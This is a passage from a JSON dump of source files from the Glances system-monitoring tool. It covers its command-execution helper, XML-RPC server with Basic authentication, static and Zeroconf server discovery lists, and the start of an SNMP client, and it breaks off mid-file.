    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Secures functions for Glances\"\"\"\n\nimport re\nfrom subprocess import PIPE, Popen\n\nfrom glances.globals import nativestr\n\n\ndef secure_popen(cmd):\n    \"\"\"A more or less secure way to execute system commands\n\n    Multiple command should be separated with a &&\n\n    :return: the result of the commands\n    \"\"\"\n    ret = ''\n\n    # Split by multiple commands (only '&&' separator is supported)\n    for c in cmd.split('&&'):\n        ret += __secure_popen(c)\n\n    return ret\n\n\ndef __secure_popen(cmd):\n    \"\"\"A more or less secure way to execute system command\n\n    Manage redirection (>) and pipes (|)\n    \"\"\"\n    # Split by redirection '>'\n    cmd_split_redirect = cmd.split('>')\n    if len(cmd_split_redirect) > 2:\n        return f'Glances error: Only one file redirection allowed ({cmd})'\n    if len(cmd_split_redirect) == 2:\n        stdout_redirect = cmd_split_redirect[1].strip()\n        cmd = cmd_split_redirect[0]\n    else:\n        stdout_redirect = None\n\n    sub_cmd_stdin = None\n    p_last = None\n    # Split by pipe '|'\n    for sub_cmd in cmd.split('|'):\n        # Split by space character, but do no split spaces within quotes (remove surrounding quotes, though)\n        tmp_split = [_ for _ in list(filter(None, re.split(r'(\\s+)|(\".*?\"+?)|(\\'.*?\\'+?)', sub_cmd))) if _ != ' ']\n        sub_cmd_split = [_[1:-1] if (_[0] == _[-1] == '\"') or (_[0] == _[-1] == '\\'') else _ for _ in tmp_split]\n        p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)\n        if p_last is not None:\n            # Allow p_last to receive a SIGPIPE if p exits.\n            p_last.stdout.close()\n            p_last.kill()\n            p_last.wait()\n        p_last = p\n        sub_cmd_stdin = p.stdout\n\n    p_ret = p_last.communicate()\n\n    if nativestr(p_ret[1]) == '':\n        # No error\n        ret = nativestr(p_ret[0])\n        if stdout_redirect is not None:\n            # Write result to redirection file\n            with open(stdout_redirect, \"w\") as stdout_redirect_file:\n                stdout_redirect_file.write(ret)\n    else:\n        # Error\n        ret = nativestr(p_ret[1])\n\n    return ret\n"
  },
  {
    "path": "glances/server.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Manage the Glances server.\"\"\"\n\nimport json\nimport socket\nimport sys\nfrom base64 import b64decode\n\nfrom defusedxml import xmlrpc\n\nfrom glances import __version__\nfrom glances.logger import logger\nfrom glances.processes import glances_processes\nfrom glances.servers_list_dynamic import GlancesAutoDiscoverClient\nfrom glances.stats_server import GlancesStatsServer\nfrom glances.timer import Timer\n\n# Correct issue #1025 by monkey path the xmlrpc lib\nxmlrpc.monkey_patch()\n\n\nclass GlancesXMLRPCHandler(xmlrpc.xmlrpc_server.SimpleXMLRPCRequestHandler):\n    \"\"\"Main XML-RPC handler.\"\"\"\n\n    rpc_paths = ('/RPC2',)\n\n    def end_headers(self):\n        # Hack to add a specific header\n        # Thk to: https://gist.github.com/rca/4063325\n        self.send_my_headers()\n        super().end_headers()\n\n    def send_my_headers(self):\n        # Specific header is here (solved the issue #227)\n        self.send_header(\"Access-Control-Allow-Origin\", \"*\")\n\n    def authenticate(self, headers):\n        # auth = headers.get('Authorization')\n        try:\n            (basic, _, encoded) = headers.get('Authorization').partition(' ')\n        except Exception:\n            # Client did not ask for authentication\n            # If server need it then exit\n            return not self.server.isAuth\n        else:\n            # Client authentication\n            (basic, _, encoded) = headers.get('Authorization').partition(' ')\n            assert basic == 'Basic', 'Only basic authentication supported'\n            # Encoded portion of the header is a string\n            # Need to convert to byte-string\n            encoded_byte_string = encoded.encode()\n            # Decode base64 byte string to a decoded byte string\n            decoded_bytes = b64decode(encoded_byte_string)\n            # Convert from byte string to a regular string\n            decoded_string = decoded_bytes.decode()\n            # Get the username and password from the string\n            (username, _, password) = decoded_string.partition(':')\n            # Check that username and password match internal global dictionary\n            return self.check_user(username, password)\n\n    def check_user(self, username, password):\n        # Check username and password in the dictionary\n        if username in self.server.user_dict:\n            from glances.password import GlancesPassword\n\n            # TODO: config is not taken into account: it may be a problem ?\n            pwd = GlancesPassword(username=username, config=None)\n            return pwd.check_password(self.server.user_dict[username], password)\n        return False\n\n    def parse_request(self):\n        if xmlrpc.xmlrpc_server.SimpleXMLRPCRequestHandler.parse_request(self):\n            # Next we authenticate\n            if self.authenticate(self.headers):\n                return True\n            # if authentication fails, tell the client\n            self.send_error(401, 'Authentication failed')\n        return False\n\n    def log_message(self, log_format, *args):\n        # No message displayed on the server side\n        pass\n\n\nclass GlancesXMLRPCServer(xmlrpc.xmlrpc_server.SimpleXMLRPCServer):\n    \"\"\"Init a SimpleXMLRPCServer instance (IPv6-ready).\"\"\"\n\n    finished = False\n\n    def __init__(self, bind_address, bind_port=61209, requestHandler=GlancesXMLRPCHandler, config=None):\n        self.bind_address = bind_address\n        self.bind_port = bind_port\n        self.config = config\n        try:\n            self.address_family = socket.getaddrinfo(bind_address, bind_port)[0][0]\n        except OSError as e:\n            logger.error(f\"Couldn't open socket: {e}\")\n            sys.exit(1)\n\n        super().__init__((bind_address, bind_port), requestHandler)\n\n    def end(self):\n        \"\"\"Stop the server\"\"\"\n        self.server_close()\n        self.finished = True\n\n    def serve_forever(self):\n        \"\"\"Main loop\"\"\"\n        while not self.finished:\n            self.handle_request()\n\n\nclass GlancesInstance:\n    \"\"\"All the methods of this class are published as XML-RPC methods.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        # Init stats\n        self.stats = GlancesStatsServer(config=config, args=args)\n\n        # Initial update\n        self.stats.update()\n\n        # cached_time is the minimum time interval between stats updates\n        # i.e. XML/RPC calls will not retrieve updated info until the time\n        # since last update is passed (will retrieve old cached info instead)\n        self.timer = Timer(0)\n        self.cached_time = args.cached_time\n\n    def __update__(self):\n        # Never update more than 1 time per cached_time\n        if self.timer.finished():\n            self.stats.update()\n            self.timer = Timer(self.cached_time)\n\n    def init(self):\n        # Return the Glances version\n        return __version__\n\n    def getAll(self):\n        # Update and return all the stats\n        self.__update__()\n        return json.dumps(self.stats.getAll())\n\n    def getAllPlugins(self):\n        # Return the plugins list\n        return json.dumps(self.stats.getPluginsList())\n\n    def getAllLimits(self):\n        # Return all the plugins limits\n        return json.dumps(self.stats.getAllLimitsAsDict())\n\n    def getAllViews(self):\n        # Return all the plugins views\n        return json.dumps(self.stats.getAllViewsAsDict())\n\n    def getPlugin(self, plugin):\n        # Update and return the plugin stat\n        self.__update__()\n        return json.dumps(self.stats.get_plugin(plugin).get_raw())\n\n    def getPluginView(self, plugin):\n        # Update and return the plugin view\n        return json.dumps(self.stats.get_plugin(plugin).get_views())\n\n\nclass GlancesServer:\n    \"\"\"This class creates and manages the TCP server.\"\"\"\n\n    def __init__(self, requestHandler=GlancesXMLRPCHandler, config=None, args=None):\n        # Args\n        self.args = args\n\n        # Set the args for the glances_processes instance\n        glances_processes.set_args(args)\n\n        # Init the XML RPC server\n        try:\n            self.server = GlancesXMLRPCServer(args.bind_address, args.port, requestHandler, config=config)\n        except Exception as e:\n            logger.critical(f\"Cannot start Glances server: {e}\")\n            sys.exit(2)\n        else:\n            print(f'Glances XML-RPC server is running on {args.bind_address}:{args.port}')\n\n        # The users dict\n        # username / password couple\n        # By default, no auth is needed\n        self.server.user_dict = {}\n        self.server.isAuth = False\n\n        # Register functions\n        self.server.register_introspection_functions()\n        self.server.register_instance(GlancesInstance(config, args))\n\n        if not self.args.disable_autodiscover:\n            # Note: The Zeroconf service name will be based on the hostname\n            # Correct issue: Zeroconf problem with zeroconf service name #889\n            logger.info('Autodiscover is enabled with service name {}'.format(socket.gethostname().split('.', 1)[0]))\n            self.autodiscover_client = GlancesAutoDiscoverClient(socket.gethostname().split('.', 1)[0], args)\n        else:\n            logger.info(\"Glances autodiscover announce is disabled\")\n\n    def add_user(self, username, password):\n        \"\"\"Add an user to the dictionary.\"\"\"\n        self.server.user_dict[username] = password\n        self.server.isAuth = True\n\n    def serve_forever(self):\n        \"\"\"Call the main loop.\"\"\"\n        # Set the server login/password (if -P/--password tag)\n        if self.args.password != \"\":\n            self.add_user(self.args.username, self.args.password)\n        # Serve forever\n        self.server.serve_forever()\n\n    def end(self):\n        \"\"\"End of the Glances server session.\"\"\"\n        if not self.args.disable_autodiscover:\n            self.autodiscover_client.close()\n        self.server.end()\n"
  },
  {
    "path": "glances/servers_list.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Manage the servers list used in TUI and WEBUI Central Browser mode\"\"\"\n\nimport threading\n\nfrom defusedxml import xmlrpc\n\nfrom glances import __apiversion__\nfrom glances.client import GlancesClientTransport\nfrom glances.globals import json_loads\nfrom glances.logger import logger\nfrom glances.password_list import GlancesPasswordList as GlancesPassword\nfrom glances.servers_list_dynamic import GlancesAutoDiscoverServer\nfrom glances.servers_list_static import GlancesStaticServer\n\ntry:\n    import requests\nexcept ImportError as e:\n    import_requests_error_tag = True\n    # Display debug message if import error\n    logger.warning(f\"Missing Python Lib ({e}), Client browser will not grab stats from Glances REST server\")\nelse:\n    import_requests_error_tag = False\n\n# Correct issue #1025 by monkey path the xmlrpc lib\nxmlrpc.monkey_patch()\n\nDEFAULT_COLUMNS = \"system:hr_name,load:min5,cpu:total,mem:percent\"\n\n\nclass GlancesServersList:\n    _section = \"serverlist\"\n\n    def __init__(self, config=None, args=None):\n        # Store the arg/config\n        self.args = args\n        self.config = config\n\n        # Init the servers and passwords list defined in the Glances configuration file\n        self.static_server = None\n        self.password = None\n        self.load()\n\n        # Init the dynamic servers list by starting a Zeroconf listener\n        self.autodiscover_server = None\n        if self.args.browser or not self.args.disable_autodiscover:\n            self.autodiscover_server = GlancesAutoDiscoverServer()\n\n        # Stats are updated in thread\n        # Create a dict of threads\n        self.threads_list = {}\n\n    def load(self):\n        \"\"\"Load server and password list from the configuration file.\"\"\"\n        # Init the static server list\n        self.static_server = GlancesStaticServer(config=self.config)\n        # Init the password list (if defined)\n        self.password = GlancesPassword(config=self.config)\n        # Load columns to grab/display\n        self._columns = self.load_columns()\n\n    def load_columns(self):\n        \"\"\"Load columns definition from the configuration file.\n        Read:   'system:hr_name,load:min5,cpu:total,mem:percent,sensors:value:Ambient'\n        Return: [{'plugin': 'system', 'field': 'hr_name'},\n                 {'plugin': 'load', 'field': 'min5'},\n                 {'plugin': 'cpu', 'field': 'total'},\n                 {'plugin': 'mem', 'field': 'percent'},\n                 {'plugin': 'sensors', 'field': 'value', 'key': 'Ambient'}]\n        \"\"\"\n        if self.config is None:\n            logger.debug(\"No configuration file available. Cannot load columns definition.\")\n        elif not self.config.has_section(self._section):\n            logger.warning(f\"No [{self._section}] section in the configuration file. Cannot load columns definition.\")\n\n        columns_def = (\n            self.config.get_value(self._section, 'columns')\n            if self.config.get_value(self._section, 'columns')\n            else DEFAULT_COLUMNS\n        )\n\n        return [dict(zip(['plugin', 'field', 'key'], i.split(':'))) for i in columns_def.split(',')]\n\n    def get_servers_list(self):\n        \"\"\"Return the current server list (list of dict).\n\n        Merge of static + autodiscover servers list.\n        \"\"\"\n        ret = []\n\n        if self.args.browser:\n            ret = self.static_server.get_servers_list()\n            if self.autodiscover_server is not None:\n                ret = self.static_server.get_servers_list() + self.autodiscover_server.get_servers_list()\n\n        return ret\n\n    def get_columns(self):\n        \"\"\"Return the columns definitions\"\"\"\n        return self._columns\n\n    def update_servers_stats(self):\n        \"\"\"For each server in the servers list, update the stats\"\"\"\n        for v in self.get_servers_list():\n            key = v[\"key\"]\n            thread = self.threads_list.get(key, None)\n            if thread is None or thread.is_alive() is False:\n                thread = threading.Thread(target=self.__update_stats, args=[v])\n                self.threads_list[key] = thread\n                thread.start()\n\n    @staticmethod\n    def _get_connect_host(server):\n        \"\"\"Return the host to use for connecting to the server.\n\n        For dynamic (Zeroconf) servers, use the discovered IP address\n        instead of the untrusted advertised name.\n        \"\"\"\n        if server.get('type') == 'DYNAMIC':\n            return server['ip']\n        return server['name']\n\n    def _get_preconfigured_password(self, server):\n        \"\"\"Return the preconfigured password for the server.\n\n        Dynamic (Zeroconf) entries are untrusted and should not inherit\n        saved or default credentials to prevent credential exfiltration\n        via fake Zeroconf services.\n        \"\"\"\n        if server.get('type') == 'DYNAMIC':\n            return None\n        return self.password.get_password(server['name'])\n\n    def get_uri(self, server):\n        \"\"\"Return the URI for the given server dict.\"\"\"\n        host = self._get_connect_host(server)\n        # Select the connection mode (with or without password)\n        if server['password'] != \"\":\n            if server['status'] == 'PROTECTED':\n                # Try with the preconfigured password (only if status is PROTECTED)\n                clear_password = self._get_preconfigured_password(server)\n                if clear_password is not None:\n                    server['password'] = self.password.get_hash(clear_password)\n            uri = 'http://{}:{}@{}:{}'.format(server['username'], server['password'], host, server['port'])\n        else:\n            uri = 'http://{}:{}'.format(host, server['port'])\n        return uri\n\n    def set_in_selected(self, selected, key, value):\n        \"\"\"Set the (key, value) for the selected server in the list.\"\"\"\n        # Static list then dynamic one\n        if selected >= len(self.static_server.get_servers_list()):\n            self.autodiscover_server.set_server(selected - len(self.static_server.get_servers_list()), key, value)\n        else:\n            self.static_server.set_server(selected, key, value)\n\n    def __update_stats(self, server):\n        \"\"\"Update stats for the given server\"\"\"\n        server['uri'] = self.get_uri(server)\n        server['columns'] = [self.__get_key(column) for column in self.get_columns()]\n        if server['protocol'].lower() == 'rpc':\n            self.__update_stats_rpc(server['uri'], server)\n        elif server['protocol'].lower() == 'rest' and not import_requests_error_tag:\n            self.__update_stats_rest(f\"{server['uri']}/api/{__apiversion__}\", server)\n\n        return server\n\n    def __update_stats_rpc(self, uri, server):\n        # Try to connect to the server\n        t = GlancesClientTransport()\n        t.set_timeout(3)\n\n        # Get common stats from Glances server\n        try:\n            s = xmlrpc.xmlrpc_client.ServerProxy(uri, transport=t)\n        except Exception as e:\n            logger.warning(f\"Client browser couldn't create socket ({e})\")\n            return server\n\n        # Get the stats\n        for column in self.get_columns():\n            server_key = self.__get_key(column)\n            try:\n                # Value\n                v_json = json_loads(s.getPlugin(column['plugin']))\n                if 'key' in column:\n                    v_json = [i for i in v_json if i[i['key']].lower() == column['key'].lower()][0]\n                server[server_key] = v_json[column['field']]\n                # Decoration\n                d_json = json_loads(s.getPluginView(column['plugin']))\n                if 'key' in column:\n                    d_json = d_json.get(column['key'])\n                server[server_key + '_decoration'] = d_json[column['field']]['decoration']\n            except (KeyError, IndexError, xmlrpc.xmlrpc_client.Fault) as e:\n                logger.debug(f\"Error while grabbing stats form server ({e})\")\n            except OSError as e:\n                logger.debug(f\"Error while grabbing stats form server ({e})\")\n                server['status'] = 'OFFLINE'\n            except xmlrpc.xmlrpc_client.ProtocolError as e:\n                if e.errcode == 401:\n                    # Error 401 (Authentication failed)\n                    # Password is not the good one...\n                    server['password'] = None\n                    server['status'] = 'PROTECTED'\n                else:\n                    server['status'] = 'OFFLINE'\n                logger.debug(f\"Cannot grab stats from server ({e.errcode} {e.errmsg})\")\n            else:\n                # Status\n                server['status'] = 'ONLINE'\n\n        return server\n\n    def __update_stats_rest(self, uri, server):\n        try:\n            requests.get(f'{uri}/status', timeout=3)\n        except requests.exceptions.RequestException as e:\n            logger.debug(f\"Error while grabbing stats form server ({e})\")\n            server['status'] = 'OFFLINE'\n            return server\n        else:\n            server['status'] = 'ONLINE'\n\n        for column in self.get_columns():\n            server_key = self.__get_key(column)\n            # Build the URI (URL encoded)\n            request_uri = f\"{column['plugin']}/{column['field']}\"\n            if 'key' in column:\n                request_uri += f\"/{column['key']}\"\n            request_uri = f'{uri}/' + requests.utils.quote(request_uri)\n            # Value\n            try:\n                r = requests.get(request_uri, timeout=3)\n            except requests.exceptions.RequestException as e:\n                logger.debug(f\"Error while grabbing stats form server ({e})\")\n            else:\n                if r.json() and column['field'] in r.json():\n                    server[server_key] = r.json()[column['field']]\n            # Decoration\n            try:\n                d = requests.get(request_uri + '/views', timeout=3)\n            except requests.exceptions.RequestException as e:\n                logger.debug(f\"Error while grabbing stats view form server ({e})\")\n            else:\n                if d.json() and 'decoration' in d.json():\n                    server[server_key + '_decoration'] = d.json()['decoration']\n\n        return server\n\n    def __get_key(self, column):\n        server_key = column.get('plugin')\n        if 'field' in column:\n            server_key += '_' + column.get('field')\n        if 'key' in column:\n            server_key += '_' + column.get('key')\n        return server_key\n"
  },
  {
    "path": "glances/servers_list_dynamic.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Manage autodiscover Glances server (thk to the ZeroConf protocol).\"\"\"\n\nimport socket\nimport sys\n\nfrom glances.globals import get_ip_address\nfrom glances.logger import logger\n\ntry:\n    from zeroconf import ServiceBrowser, ServiceInfo, Zeroconf\n    from zeroconf import __version__ as __zeroconf_version\n\n    zeroconf_tag = True\nexcept ImportError:\n    zeroconf_tag = False\n\n# Zeroconf 0.17 or higher is needed\nif zeroconf_tag:\n    zeroconf_min_version = (0, 17, 0)\n    zeroconf_version = tuple([int(num) for num in __zeroconf_version.split('.')])\n    logger.debug(f\"Zeroconf version {__zeroconf_version} detected.\")\n    if zeroconf_version < zeroconf_min_version:\n        logger.critical(\"Please install zeroconf 0.17 or higher.\")\n        sys.exit(1)\n\n# Global var\n# Recent versions of the zeroconf python package doesn't like a zeroconf type that ends with '._tcp.'.\n# Correct issue: zeroconf problem with zeroconf_type = \"_%s._tcp.\" % 'glances' #888\nzeroconf_type = \"_{}._tcp.local.\".format('glances')\n\n\nclass AutoDiscovered:\n    \"\"\"Class to manage the auto discovered servers dict.\"\"\"\n\n    def __init__(self):\n        # server_dict is a list of dict (JSON compliant)\n        # [ {'key': 'zeroconf name', ip': '172.1.2.3', 'port': 61209, 'protocol': 'rpc', 'cpu': 3, 'mem': 34 ...} ... ]\n        self._server_list = []\n\n    def get_servers_list(self):\n        \"\"\"Return the current server list (list of dict).\"\"\"\n        return self._server_list\n\n    def set_server(self, server_pos, key, value):\n        \"\"\"Set the key to the value for the server_pos (position in the list).\"\"\"\n        self._server_list[server_pos][key] = value\n\n    def add_server(self, name, ip, port, protocol='rpc'):\n        \"\"\"Add a new server to the list.\"\"\"\n        new_server = {\n            'key': name,  # Zeroconf name with both hostname and port\n            'name': name.split(':')[0],  # Short name\n            'ip': ip,  # IP address seen by the client\n            'port': port,  # TCP port\n            'protocol': str(protocol),  # RPC or RESTFUL protocol\n            'username': 'glances',  # Default username\n            'password': '',  # Default password\n            'status': 'UNKNOWN',  # Server status: 'UNKNOWN', 'OFFLINE', 'ONLINE', 'PROTECTED'\n            'type': 'DYNAMIC',\n        }  # Server type: 'STATIC' or 'DYNAMIC'\n        self._server_list.append(new_server)\n        logger.debug(f\"Updated servers list ({len(self._server_list)} servers): {self._server_list}\")\n\n    def remove_server(self, name):\n        \"\"\"Remove a server from the dict.\"\"\"\n        for i in self._server_list:\n            if i['key'] == name:\n                try:\n                    self._server_list.remove(i)\n                    logger.debug(f\"Remove server {name} from the list\")\n                    logger.debug(f\"Updated servers list ({len(self._server_list)} servers): {self._server_list}\")\n                except ValueError:\n                    logger.error(f\"Cannot remove server {name} from the list\")\n\n\nclass GlancesAutoDiscoverListener:\n    \"\"\"Zeroconf listener for Glances server.\"\"\"\n\n    def __init__(self):\n        # Create an instance of the servers list\n        self.servers = AutoDiscovered()\n\n    def get_servers_list(self):\n        \"\"\"Return the current server list (list of dict).\"\"\"\n        return self.servers.get_servers_list()\n\n    def set_server(self, server_pos, key, value):\n        \"\"\"Set the key to the value for the server_pos (position in the list).\"\"\"\n        self.servers.set_server(server_pos, key, value)\n\n    def add_service(self, zeroconf, srv_type, srv_name):\n        \"\"\"Method called when a new Zeroconf client is detected.\n\n        Note: the return code will never be used\n\n        :return: True if the zeroconf client is a Glances server\n        \"\"\"\n        if srv_type != zeroconf_type:\n            return False\n        logger.debug(f\"Check new Zeroconf server: {srv_type} / {srv_name}\")\n        info = zeroconf.get_service_info(srv_type, srv_name)\n        if info and (info.addresses or info.parsed_addresses):\n            address = info.addresses[0] if info.addresses else info.parsed_addresses[0]\n            new_server_ip = socket.inet_ntoa(address)\n            new_server_port = info.port\n            new_server_protocol = info.properties[b'protocol'].decode() if b'protocol' in info.properties else 'rpc'\n\n            # Add server to the global dict\n            self.servers.add_server(\n                srv_name,\n                new_server_ip,\n                new_server_port,\n                protocol=new_server_protocol,\n            )\n            logger.info(\n                f\"New {new_server_protocol} Glances server detected ({srv_name} from {new_server_ip}:{new_server_port})\"\n            )\n        else:\n            logger.warning(\"New Glances server detected, but failed to be get Zeroconf ServiceInfo \")\n        return True\n\n    def remove_service(self, zeroconf, srv_type, srv_name):\n        \"\"\"Remove the server from the list.\"\"\"\n        self.servers.remove_server(srv_name)\n        logger.info(f\"Glances server {srv_name} removed from the autodetect list\")\n\n    def update_service(self, zeroconf, srv_type, srv_name):\n        \"\"\"Update the server from the list.\n        Done by a dirty hack (remove + add).\n        \"\"\"\n        self.remove_service(zeroconf, srv_type, srv_name)\n        self.add_service(zeroconf, srv_type, srv_name)\n        logger.info(f\"Glances server {srv_name} updated from the autodetect list\")\n\n\nclass GlancesAutoDiscoverServer:\n    \"\"\"Implementation of the Zeroconf protocol (server side for the Glances client).\"\"\"\n\n    def __init__(self, args=None):\n        if zeroconf_tag:\n            logger.info(\"Init autodiscover mode (Zeroconf protocol)\")\n            try:\n                self.zeroconf = Zeroconf()\n            except OSError as e:\n                logger.error(f\"Cannot start Zeroconf ({e})\")\n                self.zeroconf_enable_tag = False\n            else:\n                self.listener = GlancesAutoDiscoverListener()\n                self.browser = ServiceBrowser(self.zeroconf, zeroconf_type, self.listener)\n                self.zeroconf_enable_tag = True\n        else:\n            logger.error(\"Cannot start autodiscover mode (Zeroconf lib is not installed)\")\n            self.zeroconf_enable_tag = False\n\n    def get_servers_list(self):\n        \"\"\"Return the current server list (dict of dict).\"\"\"\n        if zeroconf_tag and self.zeroconf_enable_tag:\n            return self.listener.get_servers_list()\n        return []\n\n    def set_server(self, server_pos, key, value):\n        \"\"\"Set the key to the value for the server_pos (position in the list).\"\"\"\n        if zeroconf_tag and self.zeroconf_enable_tag:\n            self.listener.set_server(server_pos, key, value)\n\n    def close(self):\n        if zeroconf_tag and self.zeroconf_enable_tag:\n            self.zeroconf.close()\n\n\nclass GlancesAutoDiscoverClient:\n    \"\"\"Implementation of the zeroconf protocol (client side for the Glances server).\"\"\"\n\n    def __init__(self, hostname, args=None):\n        if zeroconf_tag:\n            zeroconf_bind_address = args.bind_address\n            try:\n                self.zeroconf = Zeroconf()\n            except OSError as e:\n                logger.error(f\"Cannot start zeroconf: {e}\")\n\n            if zeroconf_bind_address == '0.0.0.0':\n                zeroconf_bind_address = get_ip_address()[0]\n\n            # Ensure zeroconf_bind_address is an IP address not an host\n            zeroconf_bind_address = socket.gethostbyname(zeroconf_bind_address)\n\n            # Check IP v4/v6\n            address_family = socket.getaddrinfo(zeroconf_bind_address, args.port)[0][0]\n\n            # Start the zeroconf service\n            try:\n                self.info = ServiceInfo(\n                    zeroconf_type,\n                    f'{hostname}:{args.port}.{zeroconf_type}',\n                    address=socket.inet_pton(address_family, zeroconf_bind_address),\n                    port=args.port,\n                    weight=0,\n                    priority=0,\n                    properties={'protocol': 'rest' if args.webserver else 'rpc'},\n                    server=hostname,\n                )\n            except TypeError:\n                # Manage issue 1663 with breaking change on ServiceInfo method\n                # address (only one address) is replaced by addresses (list of addresses)\n                self.info = ServiceInfo(\n                    zeroconf_type,\n                    name=f'{hostname}:{args.port}.{zeroconf_type}',\n                    addresses=[socket.inet_pton(address_family, zeroconf_bind_address)],\n                    port=args.port,\n                    weight=0,\n                    priority=0,\n                    properties={'protocol': 'rest' if args.webserver else 'rpc'},\n                    server=hostname,\n                )\n            try:\n                self.zeroconf.register_service(self.info)\n            except Exception as e:\n                logger.error(f\"Error while announcing Glances server: {e}\")\n            else:\n                print(f\"Announce the Glances server on the LAN (using {zeroconf_bind_address} IP address)\")\n        else:\n            logger.error(\"Cannot announce Glances server on the network: zeroconf library not found.\")\n\n    def close(self):\n        if zeroconf_tag:\n            self.zeroconf.unregister_service(self.info)\n            self.zeroconf.close()\n"
  },
  {
    "path": "glances/servers_list_static.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Manage the Glances server static list.\"\"\"\n\nfrom socket import gaierror, gethostbyname\n\nfrom glances.logger import logger\n\n\nclass GlancesStaticServer:\n    \"\"\"Manage the static servers list for the client browser.\"\"\"\n\n    _section = \"serverlist\"\n\n    def __init__(self, config=None, args=None):\n        # server_list is a list of dict (JSON compliant)\n        # [ {'key': 'zeroconf name', ip': '172.1.2.3', 'port': 61209, 'protocol': 'rpc', 'cpu': 3, 'mem': 34 ...} ... ]\n        # Load server list from the Glances configuration file\n        self._server_list = self.load_server_list(config)\n\n    def load_server_list(self, config):\n        \"\"\"Load the server list from the configuration file.\"\"\"\n        server_list = []\n\n        if config is None:\n            logger.debug(\"No configuration file available. Cannot load server list.\")\n        elif not config.has_section(self._section):\n            logger.warning(f\"No [{self._section}] section in the configuration file. Cannot load server list.\")\n        else:\n            logger.info(f\"Start reading the [{self._section}] section in the configuration file\")\n            for i in range(1, 256):\n                # Read the configuration\n                new_server = {}\n                postfix = f'server_{str(i)}_'\n                for s in ['name', 'port', 'alias', 'protocol']:\n                    new_server[s] = config.get_value(self._section, f'{postfix}{s}')\n\n                if new_server['name'] is None:\n                    continue\n\n                # Type in order to support both RPC and REST servers (see #1121)\n                if new_server['protocol'] is None:\n                    new_server['protocol'] = 'rpc'\n                new_server['protocol'] = new_server['protocol'].lower()\n                if new_server['protocol'] not in ('rpc', 'rest'):\n                    logger.error(f'Unknow protocol for {postfix}, skip it.')\n                    continue\n\n                # Default port\n                if new_server['port'] is None:\n                    new_server['port'] = '61209' if new_server['protocol'] == 'rpc' else '61208'\n\n                # By default, try empty (aka no) password\n                new_server['username'] = 'glances'\n                new_server['password'] = ''\n\n                try:\n                    new_server['ip'] = gethostbyname(new_server['name'])\n                except gaierror as e:\n                    logger.error(\"Cannot get IP address for server {} ({})\".format(new_server['name'], e))\n                    continue\n                new_server['key'] = new_server['name'] + ':' + new_server['port']\n\n                # Default status is 'UNKNOWN'\n                new_server['status'] = 'UNKNOWN'\n\n                # Server type is 'STATIC'\n                new_server['type'] = 'STATIC'\n\n                # Add the server to the list\n                logger.debug(\"Add server {} to the static list\".format(new_server['name']))\n                server_list.append(new_server)\n\n            # Server list loaded\n            logger.info(f\"{len(server_list)} server(s) loaded from the configuration file\")\n            logger.debug(f\"Static server list: {server_list}\")\n\n        return server_list\n\n    def get_servers_list(self):\n        \"\"\"Return the current server list (list of dict).\"\"\"\n        return self._server_list\n\n    def set_server(self, server_pos, key, value):\n        \"\"\"Set the key to the value for the server_pos (position in the list).\"\"\"\n        self._server_list[server_pos][key] = value\n"
  },
  {
    "path": "glances/snmp.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\nimport sys\n\nfrom glances.logger import logger\n\n# Import mandatory PySNMP lib\ntry:\n    from pysnmp.entity.rfc3413.oneliner import cmdgen\nexcept ImportError as e:\n    logger.debug(f\"Can not import pysnmp-lextudio lib: {e}\")\n    logger.critical(\"PySNMP library not found. To install it: pip install 'pysnmp-lextudio<6.2.0'\")\n    sys.exit(2)\n\n\nclass GlancesSNMPClient:\n    \"\"\"SNMP client class (based on pysnmp library).\"\"\"\n\n    def __init__(self, host='localhost', port=161, version='2c', community='public', user='private', auth=''):\n        super().__init__()\n        self.cmdGen = cmdgen.CommandGenerator()\n\n        self.version = version\n\n        self.host = host\n        self.port = port\n\n        self.community = community\n        self.user = user\n        self.auth = auth\n\n    def __buid_result(self, varBinds):\n        \"\"\"Build the results.\"\"\"\n        ret = {}\n        for name, val in varBinds:\n            if str(val) == '':\n                ret[str(name)] = ''\n            else:\n                ret[str(name)] = val.prettyPrint()\n        return ret\n\n    def __get_result__(self, errorIndication, errorStatus, errorIndex, varBinds):\n        \"\"\"Put results in table.\"\"\"\n        ret = {}\n        if not errorIndication or not errorStatus:\n            ret = self.__buid_result(varBinds)\n        return ret\n\n    def get_by_oid(self, *oid):\n        \"\"\"SNMP simple request (list of OID).\n\n        One request per OID list.\n\n        :param oid: oid list\n        :return: a dict\n        \"\"\"\n        if self.version == '3':\n            errorIndication, errorStatus, errorIndex, varBinds = self.cmdGen.getCmd(\n                cmdgen.UsmUserData(self.user, self.auth), cmdgen.UdpTransportTarget((self.host, self.port)), *oid\n            )\n        else:\n            errorIndication, errorStatus, errorIndex, varBinds = self.cmdGen.getCmd(\n                cmdgen.CommunityData(self.community), cmdgen.UdpTransportTarget((self.host, self.port)), *oid\n            )\n        return self.__get_result__(errorIndication, errorStatus, errorIndex, varBinds)\n\n    def __bulk_result__(self, errorIndication, errorStatus, errorIndex, varBindTable):\n        ret = []\n        if not errorIndication or not errorStatus:\n            for varBindTableRow in varBindTable:\n                ret.append(self.__buid_result(varBindTableRow))\n        return ret\n\n    def getbulk_by_oid(self, non_repeaters, max_repetitions, *oid):\n        \"\"\"SNMP getbulk 